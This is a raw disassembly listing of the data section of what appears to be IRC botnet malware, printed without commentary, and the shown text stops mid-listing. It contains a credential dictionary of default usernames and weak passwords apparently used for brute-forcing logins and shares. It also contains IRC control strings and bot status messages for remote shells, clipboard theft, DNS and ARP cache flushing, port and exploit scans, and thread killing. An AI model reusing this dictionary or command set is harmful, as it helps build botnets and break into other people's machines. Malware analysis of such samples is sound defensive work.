aAdm		db 'adm',0              ; DATA XREF: .text:0042C5FCo
aAdam		db 'adam',0             ; DATA XREF: .text:0042C5F8o
		align 10h
aAda		db 'ada',0              ; DATA XREF: .text:0042C5F4o
aAction		db 'action',0           ; DATA XREF: .text:0042C5F0o
		align 4
aAccounts	db 'accounts',0         ; DATA XREF: .text:0042C5ECo
		align 4
aAccounting	db 'accounting',0       ; DATA XREF: .text:0042C5E8o
		align 4
aAccount	db 'account',0          ; DATA XREF: .text:0042C5E4o
aAccess		db 'access',0           ; DATA XREF: .text:0042C5E0o
		align 4
aAcademic	db 'academic',0         ; DATA XREF: .text:0042C5D8o
		align 10h
aAcademia	db 'academia',0         ; DATA XREF: .text:0042C5D4o
		align 4
aAbcd		db 'abcd',0             ; DATA XREF: .text:0042C5D0o
		align 4
aAbc123		db 'abc123',0           ; DATA XREF: .text:0042C5CCo
		align 4
aAbc		db 'abc',0              ; DATA XREF: .text:0042C5C8o
aAaa		db 'aaa',0              ; DATA XREF: .text:0042C5C4o
					; .text:0042E620o
aWindowsxp	db 'WindowsXP',0        ; DATA XREF: .text:0042C5BCo
		align 10h
aWrite		db 'WRITE',0            ; DATA XREF: .text:0042C5B8o
		align 4
aUser_1		db 'User',0             ; DATA XREF: sub_4134AF:loc_4135C1o
					; .text:0042C5B4o
		align 10h
aTest		db 'Test',0             ; DATA XREF: .text:0042C5ACo
		align 4
aStandard	db 'Standard',0         ; DATA XREF: .text:0042C5A8o
		align 4
aSystem_0	db 'SYSTEM',0           ; DATA XREF: .text:0042C5A4o
					; .text:0042E680o ...
		align 4
aShare_0	db 'SHARE',0            ; DATA XREF: .text:0042C5A0o
		align 4
aServer_1	db 'SERVER',0           ; DATA XREF: .text:0042C59Co
					; .text:0042EA30o
		align 4
aRoss		db 'Ross',0             ; DATA XREF: .text:0042C598o
		align 4
aRoscopcoltrane	db 'RoscoPColtrane',0   ; DATA XREF: .text:0042C594o
		align 4
aRoscop		db 'RoscoP',0           ; DATA XREF: .text:0042C590o
		align 4
aRosco		db 'Rosco',0            ; DATA XREF: .text:0042C58Co
		align 4
off_4333B4	dd offset word_435052	; DATA XREF: .text:0042C588o
aRoot_0		db 'ROOT',0             ; DATA XREF: .text:0042C584o
		align 10h
aRead		db 'READ',0             ; DATA XREF: .text:0042C580o
		align 4
aRage		db 'RAGE',0             ; DATA XREF: .text:0042C57Co
		align 10h
aPassword	db 'Password',0         ; DATA XREF: .text:0042C578o
					; .text:0042E63Co
		align 4
aOwner_0	db 'Owner',0            ; DATA XREF: .text:0042C574o
		align 4
aOem		db 'OEM',0              ; DATA XREF: .text:0042C570o
aNilez		db 'Nilez',0            ; DATA XREF: .text:0042C56Co
		align 10h
aNd		db 'ND',0               ; DATA XREF: .text:0042C568o
		align 4
aMatthew	db 'Matthew',0          ; DATA XREF: .text:0042C564o
aMatt		db 'Matt',0             ; DATA XREF: .text:0042C560o
		align 4
aMat		db 'Mat',0              ; DATA XREF: .text:0042C55Co
aMs		db 'MS',0               ; DATA XREF: .text:0042C558o
		align 4
aMp		db 'MP',0               ; DATA XREF: .text:0042C554o
		align 10h
aM_1		db 'M$',0               ; DATA XREF: .text:0042C550o
		align 4
aLogin		db 'Login',0            ; DATA XREF: .text:0042C54Co
		align 4
aLocal		db 'LOCAL',0            ; DATA XREF: .text:0042C548o
		align 4
aInviter	db 'Inviter',0          ; DATA XREF: .text:0042C544o
aGuest		db 'Guest',0            ; DATA XREF: sub_4134AF:loc_4135C8o
					; .text:0042C540o
		align 4
aGast		db 'Gast',0             ; DATA XREF: .text:0042C53Co
		align 4
aFull_0		db 'FULL',0             ; DATA XREF: .text:0042C538o
		align 4
aFiles		db 'FILES',0            ; DATA XREF: .text:0042C534o
		align 4
aDell		db 'Dell',0             ; DATA XREF: .text:0042C530o
		align 4
aDefault_0	db 'Default',0          ; DATA XREF: .text:0042C52Co
aChangeme	db 'Changeme',0         ; DATA XREF: .text:0042C528o
		align 4
aCht		db 'CHT',0              ; DATA XREF: .text:0042C524o
aCheck		db 'CHECK',0            ; DATA XREF: .text:0042C520o
		align 4
aBoth		db 'BOTH',0             ; DATA XREF: .text:0042C51Co
		align 4
aAlexander	db 'Alexander',0        ; DATA XREF: .text:0042C518o
		align 4
aAlex		db 'Alex',0             ; DATA XREF: .text:0042C514o
		align 10h
aAl3x		db 'Al3x',0             ; DATA XREF: .text:0042C510o
		align 4
aAdministrate_0	db 'Administrateur',0   ; DATA XREF: .text:0042C508o
		align 4
aAdministrado_0	db 'Administrador',0    ; DATA XREF: .text:0042C504o
		align 4
aAdmin_0	db 'Admin',0            ; DATA XREF: .text:0042C500o
		align 10h
a88888888	db '88888888',0         ; DATA XREF: .text:0042C4FCo
					; .text:0042E418o
		align 4
a654321		db '654321',0           ; DATA XREF: .text:0042C4F8o
					; .text:0042E5E4o
		align 4
a54321		db '54321',0            ; DATA XREF: .text:0042C4F4o
					; .text:0042E5E0o
		align 4
a2600		db '2600',0             ; DATA XREF: .text:0042C4F0o
					; .text:0042E5D4o
		align 4
a2002		db '2002',0             ; DATA XREF: .text:0042C4E8o
					; .text:0042E5C0o
		align 4
a123qwe		db '123qwe',0           ; DATA XREF: .text:0042C4E4o
					; .text:0042E4E4o
		align 4
a123asd		db '123asd',0           ; DATA XREF: .text:0042C4E0o
					; .text:0042E4E0o
		align 4
a123abc		db '123abc',0           ; DATA XREF: .text:0042C4DCo
					; .text:0042E4DCo
		align 4
a1234qwer	db '1234qwer',0         ; DATA XREF: .text:0042C4D8o
					; .text:0042E4E8o
		align 10h
a123467890	db '123467890',0        ; DATA XREF: .text:0042C4D4o
					; .text:0042E4B4o
		align 4
a12346789	db '12346789',0         ; DATA XREF: .text:0042C4D0o
					; .text:0042E4B0o
		align 4
a1234678	db '1234678',0          ; DATA XREF: .text:0042C4CCo
					; .text:0042E4ACo
a123467		db '123467',0           ; DATA XREF: .text:0042C4C8o
					; .text:0042E4A8o
		align 4
a12346		db '12346',0            ; DATA XREF: .text:0042C4C4o
					; .text:0042E4A4o
		align 10h
a123456789	db '123456789',0        ; DATA XREF: .text:0042C4C0o
					; .text:0042E4A0o
		align 4
a12345678	db '12345678',0         ; DATA XREF: .text:0042C4BCo
					; .text:0042E49Co
		align 4
a1234567	db '1234567',0          ; DATA XREF: .text:0042C4B8o
					; .text:0042E498o
a123456		db '123456',0           ; DATA XREF: .text:0042C4B4o
					; .text:0042E494o
		align 4
a12345		db '12345',0            ; DATA XREF: .text:0042C4B0o
					; .text:0042E490o
		align 10h
a1234		db '1234',0             ; DATA XREF: .text:0042C4ACo
					; .text:0042E48Co
		align 4
a123123		db '123123',0           ; DATA XREF: .text:0042C4A8o
					; .text:0042E488o
		align 10h
a123		db '123',0              ; DATA XREF: .text:0042C4A4o
					; .text:0042E484o
a121212		db '121212',0           ; DATA XREF: .text:0042C4A0o
					; .text:0042E480o
		align 4
a121		db '121',0              ; DATA XREF: .text:0042C49Co
					; .text:0042E47Co
a12		db '12',0               ; DATA XREF: .text:0042C498o
					; .text:0042E478o
		align 4
a11111111	db '11111111',0         ; DATA XREF: .text:0042C494o
					; .text:0042E300o
		align 10h
a111111		db '111111',0           ; DATA XREF: .text:0042C490o
					; .text:0042E2F8o
		align 4
a111		db '111',0              ; DATA XREF: .text:0042C48Co
					; .text:0042E2ECo
a110		db '110',0              ; DATA XREF: .text:0042C488o
					; .text:0042E44Co
a1:					; DATA XREF: .text:0042C484o
					; .text:0042E2E4o
		unicode	0, <1>,0
a0wned		db '0wned',0            ; DATA XREF: .text:0042C480o
					; .text:0042E2E0o
		align 4
a0wn3d		db '0wn3d',0            ; DATA XREF: .text:0042C47Co
					; .text:0042E2DCo
		align 4
a007		db '007',0              ; DATA XREF: .text:0042C478o
					; .text:0042E2CCo
a00000000	db '00000000',0         ; DATA XREF: .text:0042C474o
					; .text:0042E284o
		align 4
a000000		db '000000',0           ; DATA XREF: .text:0042C470o
					; .text:0042E280o
		align 4
a00000		db '00000',0            ; DATA XREF: .text:0042C46Co
					; .text:0042E27Co
		align 4
a0000		db '0000',0             ; DATA XREF: .text:0042C468o
					; .text:0042E278o
		align 4
a000		db '000',0              ; DATA XREF: .text:0042C464o
					; .text:0042E274o
a00		db '00',0               ; DATA XREF: .text:0042C460o
					; .text:0042E270o
		align 4
asc_4335F4:				; DATA XREF: .text:0042C458o
					; .text:0042E1DCo
		unicode	0, <%>,0
a@_7		db '!@#$%^&*',0         ; DATA XREF: .text:0042C454o
					; .text:0042E1F8o
		align 4
a@_8		db '!@#$%^&',0          ; DATA XREF: .text:0042C450o
					; .text:0042E1F4o
a@_9		db '!@#$%^',0           ; DATA XREF: .text:0042C44Co
					; .text:0042E1F0o
		align 4
a@_10		db '!@#$%',0            ; DATA XREF: .text:0042C448o
					; .text:0042E1ECo
		align 4
a@_11		db '!@#$',0             ; DATA XREF: .text:0042C444o
		align 4
aA_2:					; DATA XREF: .text:0042C438o
					; .text:0042C5C0o ...
		unicode	0, <a>,0
aZ_1:					; DATA XREF: .text:0042C434o
					; .text:0042E6D4o
		unicode	0, <z>,0
asc_43362C:				; DATA XREF: .text:0042C430o
					; .text:0042E13Co ...
		unicode	0, <x>,0
aAs		db 'as',0               ; DATA XREF: .text:0042C42Co
					; .text:0042E6F0o
		align 4
aDb2		db 'db2',0              ; DATA XREF: .text:0042C424o
aOracle		db 'oracle',0           ; DATA XREF: .text:0042C420o
					; .text:0042D738o
		align 10h
aDba		db 'dba',0              ; DATA XREF: .text:0042C41Co
aDatabase	db 'database',0         ; DATA XREF: .text:0042C418o
					; .text:0042CB6Co
		align 10h
aDefault	db 'default',0          ; DATA XREF: .text:0042C414o
aGuest_0	db 'guest',0            ; DATA XREF: .text:0042C410o
		align 10h
aWwwadmin	db 'wwwadmin',0         ; DATA XREF: .text:0042C40Co
					; .text:0042E134o
		align 4
aTeacher	db 'teacher',0          ; DATA XREF: .text:0042C408o
					; .text:0042DE20o
aStudent	db 'student',0          ; DATA XREF: .text:0042C404o
					; .text:0042DD3Co
aOwner		db 'owner',0            ; DATA XREF: .text:0042C400o
		align 4
aComputer	db 'computer',0         ; DATA XREF: .text:0042C3FCo
					; .text:0042CA78o
		align 10h
aStaff		db 'staff',0            ; DATA XREF: .text:0042C3F4o
					; .text:0042DCD8o
		align 4
aAdmins		db 'admins',0           ; DATA XREF: .text:0042C3ECo
		align 10h
aAdministrat	db 'administrat',0      ; DATA XREF: .text:0042C3E8o
aAdministrateur	db 'administrateur',0   ; DATA XREF: .text:0042C3E4o
		align 4
aAdministrador	db 'administrador',0    ; DATA XREF: .text:0042C3E0o
		align 4
aAdministrato_0	db 'administrator',0    ; DATA XREF: .text:0042C3DCo
		align 4
aAdministrator	db 'Administrator',0    ; DATA XREF: sub_4134AF:loc_4135BAo
					; .text:0042C3D8o ...
		align 4
aMirc1_7_99	db 'mirc 1.7.99',0      ; DATA XREF: .text:off_42C32Co
a@room		db '*@room',0           ; DATA XREF: .text:off_42C328o
		align 10h
dword_433700	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40C574+34Do
		dd 2029206Ch, 2BBBB02h,	6F422020h, 74732074h, 65747261h
		dd 2E64h
dword_43372C	dd 25207325h, 25222064h, 2273hdword_433738	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CA58+F2o
		dd 2029206Ch, 2BBBB02h
aConnectedToS_	db '  Connected to %s.',0
		align 4
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_40CBBE+62o
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 4
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_40CBBE+35o
		align 10h
aModeSS		db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40CD3A+5C7Do
		align 10h
aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_40CD3A+5C68o
		align 10h
dword_4337B0	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+5C54o
		dd 2029206Ch, 2BBBB02h
aUserSLoggedIn_	db '  User: %s logged in.',0
		align 4
dword_4337E4	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+5C37o
		dd 2029206Ch, 2BBBB02h
aPasswordAccept	db '  Password accepted.',0
		align 4
dword_433818	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+5BE2o
		dd 2029206Ch, 2BBBB02h
aFailedHostAuth	db '  *Failed host auth by: (%s!%s).',0
		align 4
dword_433858	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+5B75o
		dd 2029206Ch, 2BBBB02h
aFailedPassAuth	db '  *Failed pass auth by: (%s!%s).',0
		align 4
aNoticeSYouVeBe	db 'NOTICE %s :You',27h,'ve been logged.',0Dh,0Ah,0
					; DATA XREF: sub_40CD3A+5B66o
					; sub_40CD3A+5BD3o
		align 4
aNoticeSNiceTry	db 'NOTICE %s :Nice try, idiot. (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_40CD3A+5B52o
					; sub_40CD3A+5BBFo
		align 4
asc_4338E4:				; DATA XREF: sub_40CD3A+5B22o
		unicode	0, <~>,0
dword_4338E8	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+5AD1o
		dd 2029206Ch, 2BBBB02h
aRandomNickChan	db '  Random nick change: %s',0
		align 10h
dword_433920	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+5A23o
		dd 2029206Ch, 2BBBB02h
aInvalidLoginSl	db '  Invalid login slot number: %d.',0
		align 10h
dword_433960	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+5A18o
		dd 2029206Ch, 2BBBB02h
aNoUserLoggedIn	db '  No user logged in at slot: %d.',0
		align 10h
dword_4339A0	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+59C7o
		dd 2029206Ch, 2BBBB02h,	73252020h, 2 dup(0)
unk_4339C8	db    2			; DATA XREF: sub_40CD3A+59A3o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToStar_6	db ' Failed to start secure thread, error: <%d>.',0
		align 4
dword_433A18	dd 28026502h, 62302E31h, 20282029h, 75636573h, 6D2E6572h
					; DATA XREF: sub_40CD3A+593Fo
		dd 6C1F641Fh, 2202920h,	2002BBBBh, 20732520h, 74737973h
		dd 2E6D65h
aUnsecuring	db 'Unsecuring',0       ; DATA XREF: sub_40CD3A+5939o
		align 10h
aSecuring	db 'Securing',0         ; DATA XREF: sub_40CD3A+5932o
		align 4
aSec		db 'sec',0              ; DATA XREF: sub_40CD3A+58D7o
aSecure		db 'secure',0           ; DATA XREF: sub_40CD3A+58C6o
		align 4
unk_433A68	db    2			; DATA XREF: sub_40CD3A+58A6o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Fh,	63h, 6Bh
		db  73h	; s
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStar_7	db 'Failed to start server thread, error: <%d>.',0
dword_433AB4	dd 69026602h, 6966646Eh, 1F651F6Ch, 2E2Ehdword_433AC4	dd 646E6946h, 6C696620h, 65hdword_433AD0	dd 72027002h, 1F631F6Fh, 2E2Ehdword_433ADC	dd 636F7250h, 20737365h, 7473696Ch, 0dword_433AEC	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+5733o
		dd 2029206Ch, 2BBBB02h,	65522020h, 6E6E6F63h, 69746365h
		dd 2E676Eh
aQuitReconnecti	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40CD3A:loc_412460o
		align 10h
dword_433B30	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+5711o
		dd 2029206Ch, 2BBBB02h,	69442020h, 6E6F6373h, 7463656Eh
		dd 2E676E69h, 0
aQuitDisconnect	db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40CD3A:loc_41243Eo
		align 4
aQuitS		db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_40CD3A+56DBo
		align 4
dword_433B84	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+568Fo
		dd 2029206Ch, 2BBBB02h
aStatusReady_Bo	db '  Status: Ready. Bot Uptime: %s.',0
		align 4
dword_433BC4	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+5651o
		dd 2029206Ch, 2BBBB02h,	6F422020h, 44492074h, 7325203Ah
		dd 2Eh
dword_433BF0	dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
					; DATA XREF: sub_40CD3A+5627o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToStartL	db '  Failed to start list thread, error: <%d>.',0
dword_433C3C	dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
					; DATA XREF: sub_40CD3A+55CEo
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h, 694C2020h, 74207473h
		dd 61657268h, 2E7364h
dword_433C6C	dd 627573h	dword_433C70	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+5556o
		dd 2029206Ch, 2BBBB02h,	6C412020h, 20736169h, 7473696Ch
		dd 2Eh,	0
dword_433CA0	dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh
					; DATA XREF: sub_40CD3A+5526o
		dd 2029206Ch, 2BBBB02h
aFailedToStar_8	db '  Failed to start listing thread, error: <%d>.',0
		align 4
dword_433CEC	dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh
					; DATA XREF: sub_40CD3A+54AFo
		dd 2029206Ch, 2BBBB02h,	694C2020h, 6E697473h, 6F6C2067h
		dd 2E67h
dword_433D18	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+5428o
		dd 2029206Ch, 2BBBB02h,	654E2020h, 726F7774h, 6E49206Bh
		dd 2E6F66h
dword_433D44	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+53F9o
		dd 2029206Ch, 2BBBB02h,	79532020h, 6D657473h, 666E4920h
		dd 2E6Fh
dword_433D70	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+53A4o
		dd 2029206Ch, 2BBBB02h,	65522020h, 69766F6Dh, 4220676Eh
		dd 2E746Fh, 0
dword_433DA0	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: sub_40CD3A+5373o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToStar_9	db '  Failed to start listing thread, error: <%d>.',0
		align 10h
dword_433DF0	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: sub_40CD3A+5314o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h, 72502020h, 6563636Fh
		dd 6C207373h, 2E747369h, 0
aFull		db 'full',0             ; DATA XREF: sub_40CD3A+52F4o
		align 4
dword_433E2C	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: sub_40CD3A+5292o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aAlreadyRunning	db '  Already running.',0
		align 10h
unk_433E60	db    2			; DATA XREF: sub_40CD3A+5266o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  63h	; c
		db 64h,	6Bh, 65h
		db  79h	; y
		db 73h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aSearchComplete	db ' Search completed.',0
		align 4
dword_433E94	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+5217o
		dd 2029206Ch, 2BBBB02h,	70552020h, 656D6974h, 7325203Ah
		dd 2Eh
dword_433EC0	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: sub_40CD3A:loc_411EB4o
		dd 2029206Ch, 2BBBB02h
aRemoteShellRea	db '  Remote shell ready.',0
		align 4
dword_433EF4	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+5173o
		dd 2029206Ch, 2BBBB02h
aCouldnTOpenRem	db '  Couldn',27h,'t open remote shell.',0
		align 10h
dword_433F30	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+5157o
		dd 2029206Ch, 2BBBB02h
aRemoteShellAlr	db '  Remote shell already running.',0
dword_433F6C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+5141o
		dd 2029206Ch, 2BBBB02h,	65472020h, 6C432074h, 6F627069h
		dd 2E647261h, 0
aClipboardData	db '-[Clipboard Data]-',0 ; DATA XREF: sub_40CD3A+5113o
		align 10h
unk_433FB0	db    2			; DATA XREF: sub_40CD3A:loc_411E3Do
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToFlushA	db '  Failed to flush ARP cache.',0
		align 10h
unk_433FF0	db    2			; DATA XREF: sub_40CD3A+50EEo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aArpCacheFlushe	db '  ARP cache flushed.',0
		align 4
unk_434028	db    2			; DATA XREF: sub_40CD3A:loc_411E0Co
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToLoadDn	db '  Failed to load dnsapi.dll.',0
		align 4
unk_434068	db    2			; DATA XREF: sub_40CD3A:loc_411E05o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToFlushD	db '  Failed to flush DNS cache.',0
		align 4
unk_4340A8	db    2			; DATA XREF: sub_40CD3A+50C4o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDnsCacheFlushe	db '  DNS cache flushed.',0
		align 10h
unk_4340E0	db    2			; DATA XREF: sub_40CD3A+5031o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToSta_10	db 'Failed to start server thread, error: <%d>.',0
		align 10h
unk_434130	db    2			; DATA XREF: sub_40CD3A+4EBCo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToSta_11	db 'Failed to start server thread, error: <%d>.',0
unk_43417C	db    2			; DATA XREF: sub_40CD3A+4DAFo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aAlreadyRunni_0	db 'Already running.',0
		align 10h
dword_4341B0	dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
					; DATA XREF: sub_40CD3A:loc_411AD3o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToSta_12	db '  Failed to start scan, port is invalid.',0
		align 10h
dword_434200	dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
					; DATA XREF: sub_40CD3A+4CDAo
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aSPortScanStart	db '  %s Port Scan started on %s:%d with a delay of %d seconds for %d'
		db ' minutes using %d threads.',0
dword_43427C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+4A92o
		dd 2029206Ch, 2BBBB02h
aNickChangedToS	db '  Nick changed to: ',27h,'%s',27h,'.',0
		align 4
dword_4342B4	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+4A79o
		dd 2029206Ch, 2BBBB02h
aJoinedChannelS	db '  Joined channel: ',27h,'%s',27h,'.',0
dword_4342E8	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+4A5Co
		dd 2029206Ch, 2BBBB02h
aPartedChannelS	db '  Parted channel: ',27h,'%s',27h,'.',0
dword_43431C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+4A46o
		dd 2029206Ch, 2BBBB02h,	52492020h, 61522043h, 25203A77h
		dd 2E73h
dword_434348	dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
					; DATA XREF: sub_40CD3A:loc_41170Co
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToKillTh	db '  Failed to kill thread: %s.',0
		align 4
dword_434388	dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
					; DATA XREF: sub_40CD3A+49CBo
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aKilledThreadS_	db '  Killed thread: %s.',0
		align 10h
dword_4343C0	dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
					; DATA XREF: sub_40CD3A:loc_4116C8o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aNoActiveThread	db '  No active threads found.',0
		align 4
dword_4343FC	dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
					; DATA XREF: sub_40CD3A+4984o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aStoppedDThread	db '  Stopped: %d thread(s).',0
		align 4
aAll		db 'all',0              ; DATA XREF: sub_40CD3A+496Ao
aQuitLater	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_40CD3A+48DFo
					; sub_40CD3A:loc_412427o
		align 4
dword_43444C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+4869o
		dd 2029206Ch, 2BBBB02h
aPrefixChangedT	db '  Prefix changed to: ',27h,'%c',27h,'.',0
		align 4
unk_434484	db    2			; DATA XREF: sub_40CD3A:loc_41158Eo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
